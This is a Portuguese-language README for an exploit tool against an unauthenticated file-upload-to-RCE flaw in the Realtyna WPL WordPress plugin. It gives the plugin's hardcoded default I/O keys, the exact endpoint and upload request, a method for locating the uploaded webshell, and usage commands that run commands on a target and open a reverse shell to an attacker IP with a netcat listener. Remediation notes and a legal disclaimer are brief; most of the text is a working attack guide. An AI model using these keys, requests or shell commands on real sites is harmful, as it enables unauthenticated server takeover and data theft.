CVE-2026-14483 — Realtyna WPL / Organic IDX Upload Arbitrário de Arquivo Não Autenticado → RCE

Upload arbitrário de arquivo não autenticado que leva a RCE no plugin Realtyna WPL / Organic IDX do WordPress (real-estate-listing-realtyna-wpl ≤ 5.2.0).

O plugin registra um "serviço de E/S" no hook público init do WordPress, acessível sem autenticação na raiz do site via ?wplview=io&wplformat=io. A única barreira é um par de chaves padrão estáticas e embutidas no código fornecidas nas migrações do plugin (idênticas em todas as instalações), com io_status habilitado por padrão:

public_key  = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T

O comando set_property (libraries/io/mobile_application/set_property.php → wpl_file::upload) salva o file[] enviado com move_uploaded_file e sem verificação de extensão/MIME, portanto um webshell .php pode ser gravado e executado como o usuário do servidor web.

• Afetados: real-estate-listing-realtyna-wpl ≤ 5.2.0
• Corrigido: 5.3.0 (o comando vulnerável sem autenticação foi removido)
• CWE: 434 (Upload Irrestrito de Arquivo com Tipo Perigoso)
• Impacto: RCE sem autenticação como usuário do servidor web (www-data)

Requisitos

Apenas biblioteca padrão do Python 3 — sem dependências.

Uso

# run a command and print output
python3 exploit.py http://target/ -c id

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444

Como funciona

1. Upload — POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1 com um file[] multipart nomeado image_<name>.php. O prefixo image_ é removido, então o arquivo é salvo como <name>.php.
2. Localizar — o webshell é gravado em wp-content/uploads/WPL/<pid>/<name>.php, onde <pid> é o id da propriedade criada pela requisição (a resposta não o exibe). A ferramenta enumera ids de propriedades pequenos para encontrar o shell.
3. Executar — acesse …/<name>.php?c=<cmd>.

Identificando um alvo

Um site WordPress com o plugin real-estate-listing-realtyna-wpl ≤ 5.2.0 ativo. O endpoint responde em GET /?wplview=io&wplformat=io (o serviço de E/S do plugin).

Remediação

Atualize o plugin para ≥ 5.3.0, valide extensões/MIME dos uploads, nunca execute PHP a partir de wp-content/uploads e rotacione as chaves estáticas padrão de E/S do plugin.

Aviso legal

Apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra sistemas que você possui ou para os quais tem permissão explícita para testar.